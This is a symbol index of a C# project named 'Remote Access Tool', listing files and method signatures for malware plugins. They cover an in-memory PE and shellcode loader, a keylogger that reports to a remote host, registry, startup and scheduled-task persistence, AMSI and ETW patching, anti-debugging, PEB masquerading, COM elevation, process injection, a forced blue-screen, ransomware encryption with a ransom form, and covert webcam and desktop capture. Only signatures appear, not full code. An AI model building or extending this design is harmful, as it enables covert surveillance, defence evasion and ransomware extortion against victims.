GetDelegateFromFuncName(string funcName, Type delegate... method GetPtrFromFuncName (line 121) | IntPtr GetPtrFromFuncName(string funcName) method MemoryCallEntryPoint (line 158) | public int MemoryCallEntryPoint() method MemoryLoadLibrary (line 165) | void MemoryLoadLibrary(byte[] data) method CopySections (line 276) | static void CopySections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCo... method PerformBaseRelocation (line 319) | static bool PerformBaseRelocation(ref IMAGE_NT_HEADERS OrgNTHeaders, I... method BuildImportTable (line 363) | static IntPtr[] BuildImportTable(ref IMAGE_NT_HEADERS OrgNTHeaders, In... method FinalizeSections (line 413) | static void FinalizeSections(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr... method FinalizeSection (line 465) | static void FinalizeSection(SectionFinalizeData SectionData, uint Page... method ExecuteTLS (line 498) | static void ExecuteTLS(ref IMAGE_NT_HEADERS OrgNTHeaders, IntPtr pCode... method GetMachineType (line 519) | static uint GetMachineType() { return (IntPtr.Size == 8 ? Win.IMAGE_FI... method AlignValueUp (line 521) | static uint AlignValueUp(uint value, uint alignment) { return (value +... method GetRealSectionSize (line 523) | static IntPtr GetRealSectionSize(ref IMAGE_SECTION_HEADER Section, ref... method Close (line 540) | public void Close() { ((IDisposable)this).Dispose(); } method Dispose (line 542) | void IDisposable.Dispose() method Dispose (line 548) | public void Dispose() type SectionFinalizeData (line 587) | struct SectionFinalizeData class Of (line 596) | class Of class Of32 (line 603) | class Of32 class Of64 (line 609) | class Of64 class Sz (line 615) | class Sz type IMAGE_DOS_HEADER (line 622) | [StructLayout(LayoutKind.Sequential)] type IMAGE_NT_HEADERS (line 646) | [StructLayout(LayoutKind.Sequential)] type IMAGE_FILE_HEADER (line 654) | [StructLayout(LayoutKind.Sequential)] type IMAGE_OPTIONAL_HEADER (line 666) | [StructLayout(LayoutKind.Sequential)] type IMAGE_DATA_DIRECTORY (line 716) | [StructLayout(LayoutKind.Sequential)] type IMAGE_SECTION_HEADER (line 723) | [StructLayout(LayoutKind.Sequential)] type IMAGE_BASE_RELOCATION (line 738) | [StructLayout(LayoutKind.Sequential)] type IMAGE_IMPORT_DESCRIPTOR (line 745) | [StructLayout(LayoutKind.Sequential)] type IMAGE_EXPORT_DIRECTORY (line 755) | [StructLayout(LayoutKind.Sequential)] type SYSTEM_INFO (line 771) | [StructLayout(LayoutKind.Sequential)] type IMAGE_TLS_DIRECTORY (line 787) | [StructLayout(LayoutKind.Sequential)] type MagicType (line 798) | enum MagicType : ushort type SubSystemType (line 804) | enum SubSystemType : ushort type DllCharacteristicsType (line 819) | enum DllCharacteristicsType : ushort type BasedRelocationType (line 836) | enum BasedRelocationType type AllocationType (line 849) | enum AllocationType : uint type MemoryProtection (line 862) | enum MemoryProtection : uint type PageProtection (line 877) | enum PageProtection type ImageSectionFlags (line 892) | enum ImageSectionFlags : uint type DllReason (line 904) | enum DllReason : uint class Win (line 912) | class Win method VirtualAlloc (line 925) | [DllImport("kernel32.dll", SetLastError = true)] method MemSet (line 928) | [DllImport("msvcrt.dll", EntryPoint = "memset", CallingConvention = ... method LoadLibrary (line 931) | [DllImport("kernel32.dll", CharSet = CharSet.Ansi, SetLastError = tr... method GetProcAddress (line 934) | [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = t... method VirtualFree (line 937) | [DllImport("kernel32.dll", SetLastError = true)] method VirtualProtect (line 940) | [DllImport("kernel32.dll", SetLastError = true)] method FreeLibrary (line 943) | [DllImport("kernel32.dll", SetLastError = true)] method GetNativeSystemInfo (line 946) | [DllImport("kernel32.dll", SetLastError = true)] method IMAGE_FIRST_SECTION (line 950) | public static IntPtr IMAGE_FIRST_SECTION(IntPtr pNTHeader, ushort nt... method IMAGE_FIRST_SECTION (line 956) | public static int IMAGE_FIRST_SECTION(int lfanew, ushort ntheader_Fi... method IMAGE_ORDINAL (line 962) | public static IntPtr IMAGE_ORDINAL(IntPtr ordinal) method IMAGE_SNAP_BY_ORDINAL (line 968) | public static bool IMAGE_SNAP_BY_ORDINAL(IntPtr ordinal) method PtrRead (line 974) | static T PtrRead(IntPtr ptr) { return (T)Marshal.PtrToStructure(ptr... method PtrWrite (line 975) | static void PtrWrite(IntPtr ptr, T val) { Marshal.StructureToPtr(va... method PtrAdd (line 976) | static IntPtr PtrAdd(IntPtr p, int v) { return (IntPtr)(p.ToInt64() + ... method PtrAdd (line 977) | static IntPtr PtrAdd(IntPtr p, uint v) { return (IntPtr.Size == 8 ? (I... method PtrAdd (line 978) | static IntPtr PtrAdd(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? ... method PtrAdd (line 979) | static IntPtr PtrAdd(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8 ?... method PtrSub (line 980) | static IntPtr PtrSub(IntPtr p, IntPtr v) { return (IntPtr.Size == 8 ? ... method PtrBitOr (line 981) | static IntPtr PtrBitOr(IntPtr p, UIntPtr v) { return (IntPtr.Size == 8... method PtrAlignDown (line 982) | static IntPtr PtrAlignDown(IntPtr p, UIntPtr align) { return (IntPtr)u... method PtrIsInvalidHandle (line 983) | static bool PtrIsInvalidHandle(IntPtr h) { return (h == IntPtr.Zero ||... method PtrSpanBoundary (line 984) | static bool PtrSpanBoundary(IntPtr p, uint Size, int BoundaryBits) { r... method BytesReadStructAt (line 986) | static T BytesReadStructAt(byte[] buf, int offset) FILE: Remote Access Tool/Plugins/MemoryExecution/DotNetCode.cs class DotNetCode (line 14) | internal class DotNetCode method Compiler (line 16) | internal static void Compiler(CodeDomProvider codeDomProvider, string ... FILE: Remote Access Tool/Plugins/MemoryExecution/Launch.cs class Launch (line 16) | public static class Launch method Main (line 18) | public static void Main(LoadingAPI loadingAPI) FILE: Remote Access Tool/Plugins/MemoryExecution/ManagedDll.cs class ManagedDll (line 11) | internal static class ManagedDll method LoadDll (line 13) | internal static bool LoadDll(byte[] payload, string etp) FILE: Remote Access Tool/Plugins/MemoryExecution/ManagedExe.cs class ManagedExe (line 10) | internal static class ManagedExe method LoadExe (line 12) | internal static bool LoadExe(byte[] payload) FILE: Remote Access Tool/Plugins/MemoryExecution/NativeDll.cs class NativeDll (line 10) | internal class NativeDll method LoadDll (line 12) | internal static bool LoadDll(byte[] payload) FILE: Remote Access Tool/Plugins/MemoryExecution/NativePE.cs class NativePE (line 10) | internal static class NativePE method LoadPE (line 12) | internal static bool LoadPE(byte[] payload) FILE: Remote Access Tool/Plugins/MemoryExecution/ShellCode.cs class ShellCode (line 12) | public class ShellCode method RunShellCode (line 14) | internal static void RunShellCode(byte[] shellCode) method ShellCode (line 25) | public ShellCode(byte[] shellCode) method GetModuleHandle (line 35) | [DllImport(KERNEL32)] method GetProcAddress (line 38) | [DllImport(KERNEL32)] method GetCurrentProcess (line 40) | [DllImport(KERNEL32)] type TypeAlloc (line 43) | [Flags] type FreeType (line 56) | [Flags] type PageProtection (line 65) | [Flags] class Delegates (line 83) | internal static class Delegates method NTDelegates (line 107) | private void NTDelegates() FILE: Remote Access Tool/Plugins/Miscellaneous/Admin.cs class Admin (line 13) | internal static class Admin method AskAdminRight (line 15) | internal static void AskAdminRight() method IsAdmin (line 37) | private static bool IsAdmin() FILE: Remote Access Tool/Plugins/Miscellaneous/Audio.cs class Audio (line 11) | internal class Audio method Audio (line 14) | static Audio() method IncreaseVolume (line 19) | internal static void IncreaseVolume() method DecreaseVolume (line 24) | internal static void DecreaseVolume() FILE: Remote Access Tool/Plugins/Miscellaneous/Imports.cs class Imports (line 12) | internal static class Imports method NtTerminateProcess (line 16) | [DllImport(ntdll)] type Orientations (line 43) | internal enum Orientations type DEVMODE (line 51) | [StructLayout(LayoutKind.Explicit, CharSet = CharSet.Ansi)] type DISPLAY_DEVICE (line 125) | [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Ansi)] type POINTL (line 143) | [StructLayout(LayoutKind.Sequential)] type DISP_CHANGE (line 150) | internal enum DISP_CHANGE : int type DisplayDeviceStateFlags (line 163) | [Flags()] type DisplaySettingsFlags (line 184) | [Flags()] type DM (line 201) | [Flags()] method SystemParametersInfo (line 237) | [DllImport(user32)] method SendMessage (line 239) | [DllImport(user32)] method FindWindow (line 241) | [DllImport(user32)] method ShowWindow (line 243) | [DllImport(user32)] method FindWindowEx (line 245) | [DllImport(user32)] method ChangeDisplaySettingsEx (line 248) | [DllImport(user32)] method EnumDisplayDevices (line 251) | [DllImport(user32)] method EnumDisplaySettings (line 254) | [DllImport(user32)] FILE: Remote Access Tool/Plugins/Miscellaneous/Launch.cs class Launch (line 12) | public static class Launch method Main (line 14) | public static void Main(LoadingAPI loadingAPI) FILE: Remote Access Tool/Plugins/Miscellaneous/Link.cs class Link (line 10) | internal static class Link method OpenLink (line 12) | internal static void OpenLink(string url) FILE: Remote Access Tool/Plugins/Miscellaneous/ScreenRotation.cs class ScreenRotation (line 13) | internal class ScreenRotation method RotateScreen (line 15) | private static bool RotateScreen(uint DisplayNumber, Orientations Orie... method Rotate (line 66) | internal static void Rotate(string degrees) FILE: Remote Access Tool/Plugins/Miscellaneous/UI.cs class UI (line 15) | internal class UI method HideTaskBar (line 17) | internal static void HideTaskBar() method ShowTaskBar (line 22) | internal static void ShowTaskBar() method SetWallpaper (line 27) | internal static void SetWallpaper(byte[] file, string ext) method HideDesktopIcons (line 46) | internal static void HideDesktopIcons() method ShowDesktopIcons (line 56) | internal static void ShowDesktopIcons() FILE: Remote Access Tool/Plugins/Offline/Keylogger/ClientHandler.cs class ClientHandler (line 13) | internal class ClientHandler : IDisposable method ClientHandler (line 31) | public ClientHandler(Host host, string key) : base() method ConnectStart (line 39) | public void ConnectStart() method Connect (line 45) | private bool Connect() method EndConnect (line 57) | public void EndConnect(IAsyncResult ar) method SendPacket (line 67) | public void SendPacket(IPacket packet) method SendData (line 72) | private int SendData(IPacket data) method SendDataCompleted (line 111) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 117) | public void Dispose() FILE: Remote Access Tool/Plugins/Offline/Keylogger/Hook.cs class Hook (line 16) | internal class Hook method Hook (line 20) | static Hook() method AbortHook (line 26) | internal static void AbortHook() method StartHooking (line 38) | internal static void StartHooking() method HookKeyboard (line 44) | private static void HookKeyboard() method KeyboardThread (line 50) | private static void KeyboardThread() method GetActiveWindowTitle (line 60) | private static string GetActiveWindowTitle() method KeyboardLayout (line 80) | private static string KeyboardLayout(uint vkCode) method GetAllKeys (line 97) | private static IntPtr GetAllKeys(int nCode, IntPtr wp, IntPtr lp) FILE: Remote Access Tool/Plugins/Offline/Keylogger/Imports.cs class Imports (line 13) | internal static class Imports method UnhookWindowsHookEx (line 22) | [DllImport(user32)] method GetKeyboardLayout (line 25) | [DllImport(user32)] method CallNextHookEx (line 28) | [DllImport(user32)] method GetKeyboardState (line 30) | [DllImport(user32)] method ToUnicodeEx (line 34) | [DllImport(user32)] method MapVirtualKey (line 36) | [DllImport(user32)] method SetWindowsHookEx (line 39) | [DllImport(user32, CharSet = CharSet.Auto, SetLastError = true)] method GetForegroundWindow (line 42) | [DllImport(user32)] method GetWindowThreadProcessId (line 45) | [DllImport(user32)] method GetKeyState (line 48) | [DllImport(user32)] method GetWindowText (line 51) | [DllImport(user32)] type KBDLLHOOKSTRUCT (line 54) | [StructLayout(LayoutKind.Sequential)] FILE: Remote Access Tool/Plugins/Offline/Keylogger/Launch.cs class Launch (line 12) | public class Launch method Start (line 14) | public static void Start() method CurrentKeyStroke (line 19) | public static string CurrentKeyStroke() method ClearKeyStroke (line 24) | public static void ClearKeyStroke() method StopHook (line 29) | public static void StopHook() method ClientSender (line 34) | public static void ClientSender(Host host, string key, IPacket packet) FILE: Remote Access Tool/Plugins/Offline/Persistence/Imports.cs class Imports (line 11) | internal class Imports method NtTerminateProcess (line 13) | [DllImport("ntdll.dll")] method SetFileAttributes (line 16) | [DllImport("kernel32.dll")] type FileAttributes (line 19) | [Flags] FILE: Remote Access Tool/Plugins/Offline/Persistence/Launch.cs class Launch (line 11) | public static class Launch method Install (line 16) | public static void Install(Method method, params string[] settings) method Uninstall (line 29) | public static void Uninstall(Method method, params string[] settings) FILE: Remote Access Tool/Plugins/Offline/Persistence/Method.cs type Method (line 5) | public enum Method FILE: Remote Access Tool/Plugins/Offline/Persistence/Registry.cs class Registry (line 4) | internal class Registry FILE: Remote Access Tool/Plugins/Offline/Persistence/SelfDestruct.cs class SelfDestruct (line 12) | internal class SelfDestruct method InitiateSelfDestructSequence (line 14) | internal static void InitiateSelfDestructSequence() FILE: Remote Access Tool/Plugins/Offline/Persistence/StartupFolder.cs class StartupFolder (line 13) | internal class StartupFolder method CreateShortcut (line 15) | private static void CreateShortcut(string shortcutName, string shortcu... method Install (line 26) | internal static void Install(string shortCutName, string appName) method Uninstall (line 37) | internal static void Uninstall(string shortCutName, string appName) FILE: Remote Access Tool/Plugins/Offline/Persistence/TaskScheduler.cs class TaskScheduler (line 9) | public class TaskScheduler FILE: Remote Access Tool/Plugins/Offline/Special/AMSI.cs class AMSI (line 13) | internal static class AMSI method LoadAmsi (line 42) | static IntPtr LoadAmsi() method BlockIt (line 47) | internal static bool BlockIt() FILE: Remote Access Tool/Plugins/Offline/Special/AntiDBG.cs class AntiDBG (line 13) | internal class AntiDBG method AntiDBG (line 18) | static AntiDBG() method BlockIt (line 55) | internal static void BlockIt() FILE: Remote Access Tool/Plugins/Offline/Special/COM.cs class COM (line 17) | internal class COM method LaunchElevatedCOMObjectUnsafe (line 19) | private unsafe static object LaunchElevatedCOMObjectUnsafe(Guid Clsid,... method Start (line 35) | internal unsafe static Parser.HRESULT Start(string filePath, string pa... FILE: Remote Access Tool/Plugins/Offline/Special/Commons/Delegates.cs class Commons (line 11) | internal partial class Commons FILE: Remote Access Tool/Plugins/Offline/Special/Commons/Enums.cs class Commons (line 10) | internal static partial class Commons type MagicType (line 13) | internal enum MagicType : ushort type SubSystemType (line 20) | internal enum SubSystemType : ushort type DllCharacteristics (line 39) | internal enum DllCharacteristics : ushort type Characteristics (line 58) | internal enum Characteristics : ushort type Machine (line 77) | internal enum Machine : ushort type ProcessInfoClass (line 114) | internal enum ProcessInfoClass type NtStatus (line 169) | internal enum NtStatus : uint type PebFlags (line 176) | [Flags] type SubSystemType4Bytes (line 190) | internal enum SubSystemType4Bytes : uint type PageAccessType (line 209) | [Flags] type MemoryAllocationType (line 242) | [Flags] type CLSCTX (line 269) | [Flags] FILE: Remote Access Tool/Plugins/Offline/Special/Commons/Functions.cs class Commons (line 11) | internal static partial class Commons method GetPebAddressDynamicWithoutAllocate (line 15) | internal static IntPtr GetPebAddressDynamicWithoutAllocate() method ReadStructAt (line 24) | internal static T ReadStructAt(IntPtr pStructure) method CopyMemory (line 34) | [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention =... method NtQueryInformationProcess (line 42) | [DllImport("ntdll", CharSet = CharSet.Auto, CallingConvention = Callin... FILE: Remote Access Tool/Plugins/Offline/Special/Commons/Interfaces.cs class Commons (line 7) | internal static partial class Commons type ILua (line 9) | [ComImport, Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C"), InterfaceTyp... method Method1 (line 12) | [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodC... method Method2 (line 14) | [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodC... method Method3 (line 16) | [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodC... method Method4 (line 18) | [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodC... method Method5 (line 20) | [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodC... method Method6 (line 22) | [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodC... method ShellExec (line 24) | [MethodImpl(MethodImplOptions.InternalCall, MethodCodeType = MethodC... FILE: Remote Access Tool/Plugins/Offline/Special/Commons/Structures.cs class Commons (line 11) | internal static partial class Commons type ImageDosHeader (line 14) | [StructLayout(LayoutKind.Sequential)] type ImageOptionalHeader32 (line 37) | [StructLayout(LayoutKind.Sequential)] type ImageDataDirectory (line 87) | [StructLayout(LayoutKind.Sequential)] type ImageOptionalHeader64 (line 94) | [StructLayout(LayoutKind.Sequential)] type ImageExportDirectory (line 144) | [StructLayout(LayoutKind.Explicit)] type ImageFileHeader (line 171) | [StructLayout(LayoutKind.Sequential)] type ProcessBasicInformation (line 186) | [StructLayout(LayoutKind.Sequential)] type PEB32 (line 197) | [StructLayout(LayoutKind.Sequential)] type PEB64 (line 260) | [StructLayout(LayoutKind.Sequential)] type ListEntry (line 324) | [StructLayout(LayoutKind.Sequential)] type PebLdrData (line 331) | [StructLayout(LayoutKind.Sequential)] type LdrDataTableEntry (line 343) | [StructLayout(LayoutKind.Sequential)] type UnicodeString (line 360) | [StructLayout(LayoutKind.Sequential)] method UnicodeString (line 367) | public UnicodeString(string s) method Dispose (line 374) | public void Dispose() method ToString (line 380) | public override string ToString() type LargeInteger (line 387) | [StructLayout(LayoutKind.Explicit, Size = 8)] type BIND_OPTS3 (line 401) | [StructLayout(LayoutKind.Sequential)] type HARDERROR_RESPONSE_OPTION (line 416) | internal enum HARDERROR_RESPONSE_OPTION : uint type HARDERROR_RESPONSE (line 427) | internal enum HARDERROR_RESPONSE : uint type RTL_PRIVILEGES (line 440) | internal enum RTL_PRIVILEGES : uint FILE: Remote Access Tool/Plugins/Offline/Special/DelegatesHandling.cs class DelegatesHandling (line 12) | internal class DelegatesHandling method PrepareDelegate (line 14) | internal unsafe static void PrepareDelegate() FILE: Remote Access Tool/Plugins/Offline/Special/ETW.cs class ETW (line 12) | internal static class ETW method Patch (line 32) | private static bool Patch(ref IntPtr address) method BlockIt (line 86) | internal static bool BlockIt() FILE: Remote Access Tool/Plugins/Offline/Special/PEB.cs class PEB (line 21) | internal class PEB method IsWOW64 (line 23) | private static bool IsWOW64() => IntPtr.Size == 4; method StructureToPtr (line 25) | private static IntPtr StructureToPtr(object obj) method McfInitUnicodeString (line 32) | private unsafe static void McfInitUnicodeString(IntPtr procHandle, Int... method MasqueradePEB (line 47) | internal static void MasqueradePEB() FILE: Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs class PEFromPEB (line 13) | internal static class PEFromPEB method GetByteArray (line 48) | private static byte[] GetByteArray(int sizeInKb) method BlockIt (line 56) | internal unsafe static bool BlockIt() FILE: Remote Access Tool/Plugins/Offline/Special/Parser.cs class Parser (line 10) | public static class Parser type HRESULT (line 12) | public enum HRESULT : long method Parse (line 20) | public static void Parse(bool amsiBlock = false, bool etwBlock = false... FILE: Remote Access Tool/Plugins/Offline/Special/Resolver.cs class Resolver (line 13) | internal static class Resolver method GetModuleBaseAddress (line 15) | internal unsafe static IntPtr GetModuleBaseAddress(string name, IntPtr... method GetExportAddress (line 64) | internal static IntPtr GetExportAddress(string moduleName, string func... class ExportedFunction (line 142) | public class ExportedFunction FILE: Remote Access Tool/Plugins/PowerManager/Imports.cs class Imports (line 11) | internal static class Imports type NTSTATUS (line 16) | [Flags] type RTL_PRIVILEGES (line 24) | internal enum RTL_PRIVILEGES : uint type HARDERROR_RESPONSE_OPTION (line 63) | internal enum HARDERROR_RESPONSE_OPTION : uint type HARDERROR_RESPONSE (line 74) | internal enum HARDERROR_RESPONSE : uint method RtlAdjustPrivilege (line 88) | [DllImport(ntdll)] method NtRaiseHardError (line 90) | [DllImport(ntdll)] type EXIT_WINDOWS_FLAGS (line 99) | public enum EXIT_WINDOWS_FLAGS : uint type EXIT_WINDOWS_REASON (line 112) | public enum EXIT_WINDOWS_REASON : uint method ExitWindowsEx (line 155) | [DllImport(user32)] method LockWorkStation (line 157) | [DllImport(user32)] method SetSuspendState (line 163) | [DllImport(powrprof)] FILE: Remote Access Tool/Plugins/PowerManager/Launch.cs class Launch (line 12) | public static class Launch method Main (line 14) | public static void Main(LoadingAPI loadingAPI) FILE: Remote Access Tool/Plugins/PowerManager/PowerManager.cs class PowerManager (line 11) | internal static class PowerManager method PowerManager (line 15) | static PowerManager() method ShutDown (line 21) | internal static void ShutDown() method Reboot (line 34) | internal static void Reboot() method LogOut (line 47) | internal static void LogOut() method BSOD (line 60) | internal static void BSOD() method LockWorkstation (line 71) | internal static void LockWorkstation() method Suspend (line 76) | internal static void Suspend() method Hibernate (line 84) | internal static void Hibernate() FILE: Remote Access Tool/Plugins/ProcessManager/ClientHandler.cs class ClientHandler (line 14) | internal class ClientHandler : IDisposable method ClientHandler (line 32) | public ClientHandler(Host host, string key) : base() method ConnectStart (line 40) | public void ConnectStart() method Connect (line 46) | private bool Connect() method EndConnect (line 58) | public void EndConnect(IAsyncResult ar) method SendPacket (line 68) | public void SendPacket(IPacket packet) method SendData (line 73) | private int SendData(IPacket data) method SendDataCompleted (line 131) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 150) | public void Dispose() FILE: Remote Access Tool/Plugins/ProcessManager/GetProcesses.cs class GetProcesses (line 17) | internal class GetProcesses type SYSTEM_INFO (line 19) | [StructLayout(LayoutKind.Sequential)] method GetNativeSystemInfo (line 35) | [DllImport("kernel32.dll")] method IsWow64Process (line 38) | [DllImport("kernel32.dll", SetLastError = true, CallingConvention = Ca... method InternalCheckIsWow64 (line 47) | private static bool InternalCheckIsWow64(IntPtr Handle) method CheckIf64Bit (line 66) | internal static string CheckIf64Bit(IntPtr Handle) method GetAllProcesses (line 94) | public static List GetAllProcesses() FILE: Remote Access Tool/Plugins/ProcessManager/Imports.cs class Imports (line 11) | internal static class Imports method NtTerminateProcess (line 13) | [DllImport("ntdll.dll", SetLastError = true)] method ZwTerminateProcess (line 16) | [DllImport("ntdll.dll", SetLastError = true)] method EndTask (line 19) | [DllImport("user32.dll")] method SendMessage (line 22) | [DllImport("user32.dll")] type WM_Message (line 25) | public enum WM_Message : uint type SC_Message (line 33) | public enum SC_Message : uint method NtSuspendProcess (line 42) | [DllImport("ntdll.dll")] method ZwSuspendProcess (line 44) | [DllImport("ntdll.dll")] method NtResumeProcess (line 47) | [DllImport("ntdll.dll")] method ZwResumeProcess (line 49) | [DllImport("ntdll.dll")] FILE: Remote Access Tool/Plugins/ProcessManager/KillProcess.cs class KillProcess (line 11) | internal class KillProcess method IsKilled (line 14) | internal static bool IsKilled(int processId) FILE: Remote Access Tool/Plugins/ProcessManager/Launch.cs class Launch (line 13) | public static class Launch method Main (line 15) | public static void Main(LoadingAPI loadingAPI) method ClientSender (line 62) | private static void ClientSender(Host host, string key, IPacket packet) FILE: Remote Access Tool/Plugins/ProcessManager/ProcessInjection.cs class ProcessInjection (line 10) | internal static class ProcessInjection method InjectShellCodeClassicMethod (line 12) | internal static void InjectShellCodeClassicMethod(int PID, byte[] shel... method InjectShellCodeMapView (line 18) | internal static void InjectShellCodeMapView(int PID, byte[] shellcode) FILE: Remote Access Tool/Plugins/ProcessManager/ResumeProcess.cs class ResumeProcess (line 15) | internal class ResumeProcess method IsResumed (line 18) | internal static bool IsResumed(int processId) FILE: Remote Access Tool/Plugins/ProcessManager/SuspendProcess.cs class SuspendProcess (line 15) | internal class SuspendProcess method IsSuspended (line 18) | internal static bool IsSuspended(int processId) FILE: Remote Access Tool/Plugins/Ransomware/ClientHandler.cs class ClientHandler (line 14) | internal class ClientHandler : IDisposable method ClientHandler (line 32) | public ClientHandler(Host host, string key) : base() method ConnectStart (line 40) | public void ConnectStart() method Connect (line 46) | private bool Connect() method EndConnect (line 58) | public void EndConnect(IAsyncResult ar) method SendPacket (line 69) | public void SendPacket(IPacket packet) method SendData (line 74) | private int SendData(IPacket data) method SendDataCompleted (line 131) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 137) | public void Dispose() FILE: Remote Access Tool/Plugins/Ransomware/Encryption/Encrypted.cs class Encrypted (line 10) | internal class Encrypted FILE: Remote Access Tool/Plugins/Ransomware/Encryption/RSA.cs class RSA (line 11) | internal class RSA method RSAEncrypt (line 13) | internal static byte[] RSAEncrypt(byte[] data, string strPublicKey) method RSADecrypt (line 21) | internal static byte[] RSADecrypt(byte[] data, string strPrivateKey) method GetKey (line 29) | internal static Dictionary GetKey() FILE: Remote Access Tool/Plugins/Ransomware/Encryption/RSM.cs class RSM (line 11) | internal class RSM method RSMEncrypt (line 13) | public static byte[] RSMEncrypt(byte[] input, byte[] key) method RSMDecrypt (line 37) | public static byte[] RSMDecrypt(byte[] data, byte[] key) FILE: Remote Access Tool/Plugins/Ransomware/FormTemplate.cs class FormTemplate (line 5) | internal class FormTemplate : Form method FormTemplate (line 7) | public FormTemplate(string name) method Dispose (line 13) | protected override void Dispose(bool disposing) method InitializeComponent (line 32) | public void InitializeComponent() FILE: Remote Access Tool/Plugins/Ransomware/Imports.cs class Imports (line 9) | internal static class Imports//NtLockFile, NtOpenFile, NtUnlockFile FILE: Remote Access Tool/Plugins/Ransomware/Launch.cs class Launch (line 14) | public static class Launch method Main (line 16) | public static void Main(LoadingAPI loadingAPI) method ClientSender (line 47) | internal static void ClientSender(Host host, string key, IPacket packet) FILE: Remote Access Tool/Plugins/Ransomware/Operation/ActionDecryption.cs class ActionDecryption (line 14) | internal class ActionDecryption method ActionDecryption (line 26) | internal ActionDecryption(string privateRSAServerKey) method StartAction (line 46) | internal void StartAction(Dictionary files) method AppendToFile (line 51) | private void AppendToFile(string fileToWrite, byte[] data) method Do (line 61) | private void Do(Dictionary files) method FileDecryptionOperated (line 74) | private string FileDecryptionOperated(KeyValuePair file) method EndAction (line 114) | private void EndAction(IAsyncResult ar) FILE: Remote Access Tool/Plugins/Ransomware/Operation/ActionEncryption.cs class ActionEncryption (line 18) | internal class ActionEncryption method ActionEncryption (line 36) | internal ActionEncryption(string publicRSAServerKey, List path... method StartAction (line 86) | internal void StartAction() method AppendToFile (line 91) | private void AppendToFile(string fileToWrite, byte[] data) method CheckFileBeforeEncryption (line 101) | private bool CheckFileBeforeEncryption() method Do (line 107) | private void Do() method FileEncryptionOperated (line 122) | private string FileEncryptionOperated(string path) method EndAction (line 161) | private void EndAction(IAsyncResult ar) FILE: Remote Access Tool/Plugins/Ransomware/Operation/KeyGenerator.cs class KeyGenerator (line 12) | internal class KeyGenerator method GenerateKey (line 17) | internal static string GenerateKey() FILE: Remote Access Tool/Plugins/RemoteCamera/ClientHandler.cs class ClientHandler (line 15) | internal class ClientHandler : IDisposable method ClientHandler (line 38) | public ClientHandler(Host host, string key, string baseIp, string HWID... method ConnectStart (line 50) | public void ConnectStart() method Connect (line 56) | private bool Connect() method EndConnect (line 68) | public void EndConnect(IAsyncResult ar) method Receive (line 90) | public void Receive() method ReceiveData (line 99) | private byte[] ReceiveData() method EndDataRead (line 132) | public void EndDataRead(IAsyncResult ar) method PacketParser (line 141) | private IPacket PacketParser(byte[] BufferPacket) method EndPacketRead (line 151) | public void EndPacketRead(IAsyncResult ar) method ParsePacket (line 159) | public void ParsePacket(IPacket packet) method SendPacket (line 175) | public void SendPacket(IPacket packet) method SendData (line 181) | private PacketType SendData(IPacket data) method SendDataCompleted (line 237) | private void SendDataCompleted(IAsyncResult ar) method Dispose (line 250) | public void Dispose() FILE: Remote Access Tool/Plugins/RemoteCamera/GetCameras.cs class GetCameras (line 12) | internal static class GetCameras method GetListCameras (line 14) | internal static List GetListCameras() FILE: Remote Access Tool/Plugins/RemoteCamera/Helpers.cs class Helpers (line 19) | internal class Helpers method Helpers (line 21) | static Helpers() method StartCaptureAsync (line 32) | internal static void StartCaptureAsync() method Capture (line 38) | internal static void Capture() method CaptureRun (line 52) | private static void CaptureRun(object sender, NewFrameEventArgs e) method EndCaptureAsync (line 91) | private static void EndCaptureAsync(IAsyncResult ar) method StopStreamCamera (line 98) | internal static void StopStreamCamera() method GetEncoder (line 106) | private static ImageCodecInfo GetEncoder(ImageFormat format) FILE: Remote Access Tool/Plugins/RemoteCamera/Launch.cs class Launch (line 13) | public static class Launch method Main (line 19) | public static void Main(LoadingAPI loadingAPI) FILE: Remote Access Tool/Plugins/RemoteDesktop/CaptureHelpers.cs class CaptureHelpers (line 15) | internal class CaptureHelpers method GetEncoderInfo (line 17) | private static ImageCodecInfo GetEncoderInfo(ImageFormat format) method Capture (line 37) | internal static byte[] Capture(int width, int height, int quality, str... FILE: Remote Access Tool/Plugins/RemoteDesktop/ClientHandler.cs class ClientHandler (line 16) | internal class ClientHandler : IDisposable method ClientHandler (line 45) | public ClientHandler(Host host, string key, string baseIp, string HWID... method ConnectStart (line 58) | public void ConnectStart() method Connect (line 64) | private bool Connect() method EndConnect (line 76) | public void EndConnect(IAsyncResult ar) method Receive (line 95) | public void Receive() method ReceiveData (line 105) | private byte[] ReceiveData() method EndDataRead (line 138) | public void EndDataRead(IAsyncResult ar) method PacketParser (line 148) | private IPacket PacketParser(byte[] BufferPacket) method EndPacketRead (line 158) | public void EndPacketRead(IAsyncResult ar) method ParsePacket (line 166) | public void ParsePacket(IPacket packet) method SendPacket (line 227) | public void SendPacket(IPacket packet) method SendData (line 232) | private int SendData(IPacket data) method SendDataCompleted (line 289) | private void SendDataCompleted(IAsyncResult ar) method CaptureDesktop (line 294) | public void CaptureDesktop() method DesktopPicture (line 302) | public byte[] DesktopPicture() method EndDesktopPicture (line 307) | public void EndDesktopPicture(IAsyncResult ar) method Dispose (line 333) | public void Dispose() FILE: Remote Access Tool/Plugins/RemoteDesktop/Imports.cs class Imports (line 13) | internal class Imports method DrawIcon (line 17) | [DllImport(user32)] method GetCursorInfo (line 19) | [DllImport(user32)] method GetCursorPos (line 21) | [DllImport(user32)] type CURSORINFOHELPER (line 24) | [StructLayout(LayoutKind.Sequential)] method GetMessageExtraInfo (line 49) | [DllImport(user32)] method SendInput (line 52) | [DllImport(user32)] type INPUT (line 55) | [StructLayout(LayoutKind.Sequential)] type InputUnion (line 63) | [StructLayout(LayoutKind.Explicit)] type MOUSEINPUT (line 74) | 